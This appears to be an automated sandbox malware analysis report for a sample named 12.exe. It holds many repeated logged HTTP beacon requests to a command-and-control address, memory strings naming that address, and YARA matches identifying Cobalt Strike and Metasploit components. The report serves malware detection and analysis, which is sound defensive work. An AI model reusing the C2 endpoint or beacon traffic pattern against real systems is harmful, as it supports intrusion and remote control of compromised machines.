Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache

Source: 12.exe, 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:%u/
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp, 12.exe, 00000000.00000002.4124793161.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cx
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cx1.
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cx26.16:59060/cx
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cxA-
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cxN-
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cxS-i)
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cxj-v)
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cxmswsock.dll.muiW=L)
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cxwshqos.dll.mui
Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://152.42.226.16:59060/cxwshqos.dll.muip

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.4124981749.0000000000DE8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.4124981749.0000000000DE8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
